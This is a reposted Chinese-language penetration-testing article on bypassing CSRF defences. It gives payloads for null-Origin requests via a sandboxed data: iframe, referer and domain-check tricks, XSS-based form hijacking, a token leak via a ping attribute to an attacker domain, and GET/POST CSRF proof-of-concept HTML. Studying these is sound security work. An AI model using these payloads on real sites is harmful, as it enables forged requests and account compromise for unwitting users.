CSRF的绕过与利用
生活随笔
收集整理的這篇文章主要介紹了
CSRF的绕过与利用
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
Origin & Referer Bypass
Null值繞過
當遇到一個cors可用null值繞過時,用iframe配合data協議,就可以發送一個origin為null的請求。這個繞過方式同樣也可以用在CSRF這里。
| 1 | <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.οnlοad=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe> |
域名校驗繞過
當域名校驗不是特別嚴格時,可以通過以下幾種方式進行繞過:
- 在后面加域名 qq.com => qq.com.abc.com
- 將域名拼接 abc.qq.com => abc_qq.com
- 在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com / qq.com => abc.com/qq.com
配合XSS進行利用
當同源網站中存在一個xss漏洞時,就可以直接使用xss包含CSRF的payload進行利用。不僅可以繞過簡單的Referer和Origin驗證,還可以劫持表單與URL中的token進行利用。
獲取表單中的token
當token存在于表單中時,可以配合XSS漏洞進行表單劫持進而讓token的限制。
- xss劫持頁面中某個表單的提交
像這個就可以劫持user-edit表單的提交,點擊即可提交form表單。
| 1 | <input type="submit" form="user-edit" value="hijack"> |
這個就相當于劫持了user-edit表單然后進行提交
- xss劫持頁面表單并修改value
| 1 2 3 | <input type="text" form="user-edit" name="notes" value="This is a test"> <input type="text" form="user-edit" name="secert" value="on"> <input type="submit" form="user-edit" value="hijack"> |
劫持user-edit表單,覆蓋各表單的value,進行CSRF利用。
獲取url參數中的token
| 1 2 | <a href="https://evil7.cn">get_token</a> <a href="https://xz.aliyun.com/" ping="https://evil7.cn">ping_leak</a> |
參考:魔法才能打敗魔法:關于獲取csrf-token前端技巧思考
配合URL跳轉漏洞
如果是GET形式的CSRF,配合URL跳轉漏洞,即可Origin和Referer的限制。
X-Request-with Bypass
使用swf進行繞過:https://github.com/Qclover/CSRF
Token Bypass
- 刪除Token參數字段
- 將Token參數值置空
CSRF POC 構造
GET - CSRF
| 1 | <img src=http://xxxx.org/csrf.php?xx=11 /> |
POST - CSRF
可以直接使用Brupsuite生成CSRF POC,也可以自己構造
| 1 2 3 4 | <form action=http://aaaaaa.org/csrf.php method=POST> <input type="text" name="xx" value="11" /> </form> <script> document.forms[0].submit(); </script> |
參考 & 備份
一次CSRF測試引發的思考
魔法才能打敗魔法:關于獲取csrf-token前端技巧思考
PhpcmsV9從反射型XSS到CSRF繞過到Getshell
總結
以上是生活随笔為你收集整理的CSRF的绕过与利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 目录扫描工具dirsearch用法
- 下一篇: JWT攻击手册